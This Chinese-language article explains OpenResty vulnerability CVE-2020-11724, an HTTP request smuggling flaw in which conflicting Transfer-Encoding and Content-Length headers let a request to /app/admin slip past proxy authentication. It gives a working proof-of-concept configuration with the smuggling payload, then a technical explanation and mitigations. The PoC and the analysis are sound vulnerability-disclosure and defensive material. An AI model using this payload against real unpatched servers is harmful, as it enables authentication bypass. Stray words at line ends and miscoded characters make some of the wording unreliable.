OpenResty 最近發佈的正式版本 1.17.8.2 修復了安全漏洞 CVE-2020-11724。
這個漏洞是一個 HTTP request smuggling 漏洞,能夠實現某種程度上的安全防禦繞過。nginx
HTTP request smuggling 指利用兩臺 HTTP 服務器在解析 HTTP 協議的過程當中的差別,來構造一個在兩臺服務器看來不一樣的請求。一般這樣的作法能夠用來繞過安全防禦,好比發送請求 A 給 Web 防火牆,而後 Web 防火牆代理給後端應用服務器時,讓後端服務器誤覺得是請求 B。git
先上一個 exploit:github
server { listen 1984; server_name 'localhost'; location /test1 { content_by_lua_block { local res = ngx.location.capture('/backend') ngx.print(res.body) } } location /app { content_by_lua_block { ngx.log(ngx.ERR, ngx.var.uri) } } location /backend { proxy_http_version 1.1; proxy_set_header Connection ""; proxy_pass http://backend/app/api; } location /t { content_by_lua_block { local sock = ngx.socket.tcp() sock:settimeout(500) assert(sock:connect("127.0.0.1", 1984)) local req = [[ GET /test1 HTTP/1.1 Host: foo Transfer-Encoding: chunked Content-Length: 42 0 GET /test1 HTTP/1.1 Host: foo X: GET /app/admin HTTP/1.0 ]] local ok, err = sock:send(req) if not ok then ngx.say("send request failed: ", err) return end sock:close() } } } }
爲了便於復現,這裏咱們把 OpenRestry 即看成客戶端,也把它看成代理服務器和後端應用。其中 /t
用於做爲客戶端觸發 HTTP 請求,/test1
則是做爲代理服務器處理請求。/test1
經過 subrequest 請求了 /backend
,而 /backend
做爲代理訪問了後端應用 /app
。 後端
請求 127.0.0.1:1984/t 你會看到打印出了兩個 uri:api
也就是說,在後端應用的眼裏,由代理服務器代理過來的用戶訪問了 /app/api 和 /app/admin 兩個接口。假設鑑權等操做都在代理服務器上實現,後端應用無條件信任由代理服務器介紹過來的訪問,那麼用戶不只能訪問 /app/api,還得到了對 /app/admin 的訪問權限。安全
那麼代理服務器有沒有真的對這兩個接口作鑑權呢?答案是,它作了一半,還有一半沒作。在代理服務器看來,客戶端發的兩個請求,都是訪問 /test1 接口。這兩個請求是這樣的:服務器
GET /test1 HTTP/1.1 Host: foo Transfer-Encoding: chunked Content-Length: 42 0
GET /test1 HTTP/1.1 Host: foo X: GET /app/admin HTTP/1.0
這兩個請求 header 和 body 是不同,可是好歹仍是同一個接口。app
然而在後端應用看來,這兩個請求是這樣的:socket
GET /app/api HTTP/1.1 Host: backend Content-Length: 42 0 GET /test1 HTTP/1.1 Host: foo X:
GET /app/admin HTTP/1.0
徹底是兩個不一樣的請求了!tcp
爲何會這樣呢?咱們能夠看到,雖然代理服務器和後端應用看到的請求不同,可是它們拼接後的結果都是差很少的,只是後端應用少了個 Transfer-Encoding: chunked
。玄機就在這裏。
婦孺皆知,HTTP 是很是複雜的應用層協議,即便是在這個領域浸淫多年的 Nginx 也未能實現完整的 HTTP 協議。
不過今天我不會帶領你們查看 HTTP 協議裏面邊邊角角,而是取看幾乎每一個 HTTP 請求都會有的報頭:Content-Length
和 Transfer-Encoding
。前者表示請求體的大小,後者表示請求體的格式。這兩個之間有着這樣的關係:若是指定了 Transfer-Encoding 爲 chunk,那麼請求體的大小會是不肯定的,服務端須要讀取每個 chunk,直到讀到最後一個 chunk 0\r\n\r\n
爲止。即便客戶端同時也指定了 Content-Length,服務端也應該以 Transfer-Encoding: chunked
爲準。
這給 HTTP 請求的處理帶來了一點複雜度,由於通常來講每一個 header 之間是獨立的。(Expires 和 Cache-Control 是又一個例外)
OpenResty 在讀取請求的時候,發揮做用的是 Transfer-Encoding: chunked
,因此第二個請求會從 0\r\n\r\n
後,即 GET /test1
開始讀。但是,在修復了此漏洞以前,ngx.location.capture
並無一個「若是指定了 Transfer-Encoding: chunked,那麼忽略 Content-Length」 的處理。若是二者同時存在,依然還會認爲請求體的長度是明確的。這麼一來,生成的 subrequest 就會認爲有一個長度明確的請求體,發給後端應用的請求是這樣的:
GET /app/api HTTP/1.1 Host: backend Content-Length: 42 ...
注意 Transfer-Encoding: chunked
已經消失了。
要想觸發這個漏洞,還須要後端應用對鏈接作 keep alive 的操做。按照 HTTP 協議,後端應用要想複用 TCP 鏈接,須要保證這個鏈接上沒有殘留上個請求的數據。因此即便應用代碼裏面沒有讀取請求體的操做,後端應用仍然會丟棄掉整個請求體。而這個請求體的大小是「明確」的,後端應用須要丟棄 42 個字節的內容。被丟棄的 42 個字節,就是代理服務器所認爲的第二個請求的開頭部分。這樣,第二個請求搖身一變,繞過了代理服務器的檢查,偷渡成功,露出了原本猙獰的面目。
這個漏洞的關鍵在於 ngx.location.capture
和 ngx.location.capture_multi
在構建 subrequest 時沒有處理好 Transfer-Encoding: chunked
和 Content-Length
同時存在的狀況,致使攻擊者能夠構造虛假的請求體長度。
利用這個漏洞須要有兩點:
ngx.location.capture
或 ngx.location.capture_multi
, 外加 proxy_pass
來訪問外部服務。若是你不能升級到 1.17.8.2,能夠考慮在調用 ngx.location.capture
等函數以前,檢查 Transfer-Encoding: chunked
和 Content-Length
是否同時存在,若是是,則去掉 Content-Length
報頭。
還有一種處理方式,是 backport https://github.com/openresty/... 這個修復提交到你的 OpenResty 代碼裏面。